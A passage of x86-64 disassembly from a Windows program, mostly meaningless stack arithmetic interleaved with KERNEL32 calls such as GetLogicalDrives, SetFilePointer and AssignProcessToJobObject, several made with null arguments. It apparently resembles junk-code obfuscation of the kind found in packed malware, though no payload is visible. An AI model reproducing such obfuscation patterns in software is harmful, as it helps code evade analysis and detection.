mov rcx, qword [rsp + 0x19c18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd040], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov dword [rsp + 0xd290], eax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x35f0], ax
movzx eax, byte [rsp + 0x2a1]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402acb8f], al
mov eax, dword [rsp + 0xd1f8]
mov ecx, dword [rsp + 0xd03c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1f0], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov dword [rsp + 0xd294], eax
mov rax, qword [0x1402bf750]
mov rcx, qword [rsp + 0x19c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd11c], eax
mov eax, dword [rsp + 0xce30]
mov ecx, dword [rsp + 0x9ccc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c6c], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd138]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1dc], eax
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7cc], al
movzx eax, word [rsp + 0x36e0]
mov word [rsp + 0x3748], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35cc], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb63], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd274], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xd298], eax
mov rax, qword [rsp + 0x19ba0]
mov rcx, qword [0x1402bf670]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xc93c], eax
movzx eax, byte [rsp + 0x3be]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19828]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2db4], ax
mov eax, dword [rsp + 0xd0ac]
movzx ecx, al
mov eax, dword [rsp + 0xd014]
shl eax, cl
mov dword [rsp + 0xaf94], eax
lea rax, [rsp + 0xd0d0]
mov qword [rsp + 0x19db8], rax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb22c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x91fc], eax
mov r9d, 1
lea r8, [rsp + 0x198d0]
mov rdx, qword [rsp + 0x197a0]
mov rcx, qword [rsp + 0x19d60]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd29c], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov dword [rsp + 0xd2a0], eax
movzx eax, word [rsp + 0x2644]
movzx ecx, word [rsp + 0x3670]
or eax, ecx
mov word [0x1402ad704], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf680]
sub eax, ecx
mov byte [rsp + 0x7bb], al
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcffc], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov dword [rsp + 0xd2a4], eax
mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7ad], al
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3708]
add eax, ecx
mov word [rsp + 0x1d8c], ax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35dc]
sub eax, ecx
mov word [rsp + 0x1874], ax
movzx eax, byte [rsp + 0x7ca]
movzx ecx, byte [rsp + 0x187]
sub eax, ecx
mov byte [rsp + 0x7b2], al
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [rsp + 0xd2a8], eax
mov rax, qword [rsp + 0x19cf8]
mov ecx, dword [rsp + 0xd09c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6dc], eax
mov rax, qword [rsp + 0x19ab0]
mov ecx, dword [rsp + 0xced4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd028], eax
lea rax, [rsp + 0xcff4]
mov qword [rsp + 0x19dc0], rax
mov rax, qword [rsp + 0x19cf8]
mov ecx, dword [rsp + 0xd0f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce64], eax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7b4], al
lea rax, [rsp + 0x3678]
mov qword [rsp + 0x19dc8], rax
mov eax, dword [0x1402ad6cc]
mov ecx, dword [rsp + 0xd190]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc0fc], eax
mov eax, dword [rsp + 0xcfdc]
mov dword [rsp + 0xd2ac], eax
mov eax, dword [rsp + 0xa628]
mov ecx, dword [rsp + 0xce5c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xce18], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd0ac]
shl eax, cl
mov dword [0x1402ad708], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c1]
sar eax, cl
mov byte [rsp + 0x3be], al
movzx eax, word [rsp + 0x3618]
mov rcx, qword [0x1402bf700]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2424], ax
movsx eax, byte [rsp + 0x62d]
movsx ecx, byte [rsp + 0x1e4]
sub eax, ecx
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x19890]
movzx eax, word [rax]
mov word [rsp + 0x374c], ax
mov rax, qword [rsp + 0x19ac0]
mov rcx, qword [rsp + 0x19d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x83ec], eax
mov eax, dword [rsp + 0xcd3c]
mov dword [rsp + 0xd2b0], eax
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3684], ax
lea rdx, [rsp + 0x19b38]
mov rcx, qword [rsp + 0x19bb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd06c], eax
movzx eax, byte [rsp + 0x7c2]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x17a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd218], eax
mov eax, dword [rsp + 0xcdf4]
mov ecx, dword [rsp + 0xd2ac]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad6b8], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov dword [rsp + 0xd2b4], eax
mov rax, qword [rsp + 0x19c60]
mov eax, dword [rax]
mov ecx, dword [0x1402ad698]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf7c], eax
mov rax, qword [rsp + 0x19bf8]
mov rcx, qword [rsp + 0x19a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x977c], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x366c], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78c]
sub eax, ecx
mov byte [rsp + 0x7a9], al
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov dword [rsp + 0xd2b8], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a68]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd1c0], eax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov dword [rsp + 0xd2bc], eax
lea rax, [rsp + 0xd180]
mov qword [0x1402bf648], rax
mov rax, qword [rsp + 0x19a30]
mov rcx, qword [rsp + 0x19d70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x95c8], eax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62d], al
lea rax, [rsp + 0x1f80]
mov qword [rsp + 0x19dd0], rax
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd200], eax
movzx eax, byte [rsp + 0x7a2]
movzx ecx, byte [0x1402acb8a]
xor eax, ecx
mov byte [rsp + 0x7b7], al
movzx eax, word [rsp + 0x369c]
movzx ecx, word [rsp + 0x2a30]
shl eax, cl
mov word [rsp + 0x2d64], ax
mov eax, dword [rsp + 0xd204]
mov rcx, qword [rsp + 0x19b28]
mov qword [rsp + 0x19dd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19dd8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd15c], eax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
mov ecx, dword [0x1402ad708]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd234], eax
movzx eax, word [rsp + 0x1d1c]
mov word [rsp + 0x3750], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b5]
and eax, ecx
mov byte [0x1402bf680], al
mov rax, qword [rsp + 0x19af0]
mov ecx, dword [rsp + 0xd1f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaba8], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov dword [rsp + 0xd2c0], eax
mov rax, qword [rsp + 0x199c8]
mov ecx, dword [rsp + 0x951c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf3c], eax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd070]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fc0], eax
mov rax, qword [rsp + 0x19d90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7c1], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [0x1402bf758]
sub eax, ecx
mov word [rsp + 0x1f48], ax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov dword [rsp + 0xd2c4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd2c8], eax
mov rax, qword [rsp + 0x198e0]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcef4], eax
mov rax, qword [rsp + 0x19af8]
movzx eax, byte [rax]
mov byte [0x1402bf644], al
movzx eax, word [rsp + 0x3704]
mov word [rsp + 0x3754], ax
movzx eax, word [rsp + 0x1ea4]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36d0], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78a]
sub eax, ecx
mov byte [rsp + 0x7a4], al
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc400]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8d8], eax
mov rax, qword [rsp + 0x19a90]
mov ecx, dword [rsp + 0xcfcc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcfe8], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov dword [rsp + 0xd2cc], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa628]
sar eax, cl
mov dword [rsp + 0xc658], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c48]
mov qword [rsp + 0x19de0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19de0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xac04], eax
movzx eax, word [rsp + 0x1ea4]
mov word [rsp + 0x3758], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402acb7a], al
mov rax, qword [rsp + 0x19af0]
mov rcx, qword [rsp + 0x19d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xced8], eax
mov eax, dword [rsp + 0xcfa8]
mov ecx, dword [rsp + 0xce6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
mov rax, qword [rsp + 0x19cf8]
mov rcx, qword [rsp + 0x19c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd180], eax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov dword [rsp + 0xd2d0], eax
movzx eax, word [rsp + 0x3628]
mov rcx, qword [rsp + 0x19d68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d1c], ax
movzx eax, byte [rsp + 0x7c2]
movzx ecx, byte [rsp + 0x79a]
and eax, ecx
mov byte [rsp + 0x7a4], al
mov rax, qword [0x1402bf708]
movzx eax, word [rax]
mov word [rsp + 0x375c], ax
movsx eax, byte [rsp + 0x7cc]
movsx ecx, byte [rsp + 0x782]
add eax, ecx
mov byte [rsp + 0x7ac], al
mov eax, dword [rsp + 0xd278]
mov ecx, dword [rsp + 0xcd4c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad70c], eax
mov eax, dword [rsp + 0xd088]
mov dword [rsp + 0xd2d4], eax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63d], al
movzx eax, word [rsp + 0x1de0]
movzx ecx, word [0x1402ad690]
sub eax, ecx
mov word [rsp + 0x3664], ax
mov rax, qword [rsp + 0x19b40]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8d5c], eax
mov eax, dword [rsp + 0xc91c]
mov rcx, qword [rsp + 0x19dc0]
mov qword [rsp + 0x19de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19de8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xceac], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov dword [rsp + 0xd2d8], eax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfc4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd014], eax
movzx eax, byte [rsp + 0x78c]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7c1], al
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b0], ax
mov rax, qword [0x1402bf668]
movzx eax, word [rax]
imul eax, eax, 0xaf7
mov word [0x1402ad6d0], ax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [rsp + 0xd2dc], eax
mov rax, qword [rsp + 0x199c8]
mov rcx, qword [rsp + 0x19d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd0a0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcf24], eax
mov rax, qword [0x1402bf768]
mov rcx, qword [rsp + 0x199c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4fc], eax
mov rax, qword [rsp + 0x19988]
mov rcx, qword [rsp + 0x19a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19a70]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x198d0]
mov rdx, qword [rsp + 0x19970]
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd2e0], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x19b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac04], eax
mov rax, qword [rsp + 0x19960]
movzx eax, word [rax]
mov word [rsp + 0x3760], ax
movsx eax, byte [rsp + 0x7a5]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e4], al
mov rax, qword [0x1402bf6d0]
movzx eax, word [rax]
mov word [rsp + 0x3764], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd258], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7bf]
add eax, ecx
mov byte [0x1402acb9e], al
mov eax, dword [rsp + 0xd288]
mov ecx, dword [rsp + 0xb8d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf9c], eax
mov eax, dword [rsp + 0xd188]
mov ecx, dword [rsp + 0xd08c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb44], eax
movzx eax, byte [rsp + 0x187]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19830]
mov byte [rcx], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36ac], ax
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x19c00]
mov eax, dword [rax]
mov dword [rsp + 0xd2e4], eax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd24c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcefc], eax
mov eax, dword [0x1402ad6c0]
mov dword [rsp + 0xd2e8], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19d98]
mov qword [rsp + 0x19df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19df0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov word [0x1402bf642], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x19c28]
mov byte [rcx], al
mov eax, dword [rsp + 0xa2a0]
mov ecx, dword [rsp + 0xd288]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7a4], eax
lea rcx, [rsp + 0x2d530]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd2ec], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x951c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd018], eax
movzx eax, word [rsp + 0x35a4]
mov word [rsp + 0x3768], ax
movsx eax, byte [rsp + 0x7b1]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17d], al
movzx eax, byte [rsp + 0x784]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x785], al
mov rax, qword [0x1402bf688]
movzx eax, word [rax]
mov word [rsp + 0x376c], ax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0xd214]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x19b90]
mov ecx, dword [rsp + 0xd2b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402bf6b4], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov eax, dword [0x1402ad668]
mov dword [rsp + 0xd2f0], eax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x19d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf78], eax
lea rax, [rsp + 0xd208]
mov qword [rsp + 0x19df8], rax
movzx eax, byte [rsp + 0x7c2]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7c3], al
lea rdx, [rsp + 0x19720]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd2f4], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2aa4], ax
mov eax, dword [rsp + 0xcff8]
mov ecx, dword [rsp + 0xd0cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7eec], eax
mov eax, dword [rsp + 0xa554]
mov ecx, dword [rsp + 0x83ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd184], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov dword [rsp + 0xd2f8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x668
mov rcx, qword [rsp + 0x19b00]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xce84], eax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcf00]
shl eax, cl
mov dword [0x1402ad680], eax
movzx eax, byte [rsp + 0x7bb]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x19c28]
mov byte [rcx], al
movzx eax, word [rsp + 0x376c]
movzx ecx, word [rsp + 0x35cc]
cdq
idiv ecx
mov word [rsp + 0x3674], ax
movzx eax, word [rsp + 0x3624]
mov word [rsp + 0x3770], ax
movsx eax, byte [rsp + 0x7a5]
mov rcx, qword [rsp + 0x199d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x790], al
mov eax, dword [0x1402bf658]
movzx ecx, al
mov eax, dword [rsp + 0xcffc]
shr eax, cl
mov dword [rsp + 0xadd0], eax
mov rax, qword [rsp + 0x19b18]
mov ecx, dword [rsp + 0xcf2c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb250], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7c6], al
lea rax, [0x1402ad660]
mov qword [rsp + 0x19e00], rax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf78]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad710], eax
mov rax, qword [rsp + 0x19a18]
mov rcx, qword [rsp + 0x19c10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd234], eax
lea rax, [rsp + 0xceb0]
mov qword [rsp + 0x19e08], rax
mov eax, dword [rsp + 0xcf8c]
mov ecx, dword [rsp + 0xce78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa234], eax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc2], al
lea rax, [rsp + 0x35f0]
mov qword [rsp + 0x19e10], rax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0a8], eax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov dword [rsp + 0xd2fc], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0bc], eax
mov eax, dword [rsp + 0xd2e4]
mov ecx, dword [rsp + 0xcf2c]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad714], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov dword [rsp + 0xd300], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, word [0x1402ad678]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19960]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7a0]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x789], al
movzx eax, word [rsp + 0x2644]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2ad4], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd304], eax
movzx eax, byte [rsp + 0x38b]
movzx ecx, byte [rsp + 0x798]
or eax, ecx
mov byte [rsp + 0x63d], al
mov eax, dword [rsp + 0xd120]
mov dword [rsp + 0xd308], eax
mov rax, qword [rsp + 0x19d20]
mov rcx, qword [rsp + 0x19c10]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcd98], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x45b], al
movzx eax, word [rsp + 0x35a8]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402ad6a8], ax
mov eax, dword [rsp + 0xd060]
mov dword [rsp + 0xd30c], eax
mov rax, qword [rsp + 0x19d38]
mov rcx, qword [rsp + 0x19cc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19c60]
mov dword [rcx], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc658]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab38], eax
mov eax, dword [rsp + 0xd08c]
mov ecx, dword [rsp + 0xd20c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2d0], eax
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x2aa4]
imul eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov byte [rsp + 0x7cd], al
mov rax, qword [rsp + 0x19d38]
mov rcx, qword [rsp + 0x19d98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f6c], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov dword [rsp + 0xd310], eax
movsx eax, byte [rsp + 0x3e7]
movsx ecx, byte [rsp + 0x1c1]
add eax, ecx
mov byte [0x1402acb9f], al
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35b4]
sub eax, ecx
mov rcx, qword [rsp + 0x19800]
mov word [rcx], ax
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3264], ax
movzx eax, byte [rsp + 0x632]
mov byte [rsp + 0x7ce], al
mov eax, dword [rsp + 0xd20c]
mov ecx, dword [rsp + 0xd288]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd204], eax
lea rax, [rsp + 0xae44]
mov qword [rsp + 0x19e18], rax
mov rax, qword [rsp + 0x19cc8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1dc], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb7b8], eax
movzx ecx, word [rsp + 0x35b8]
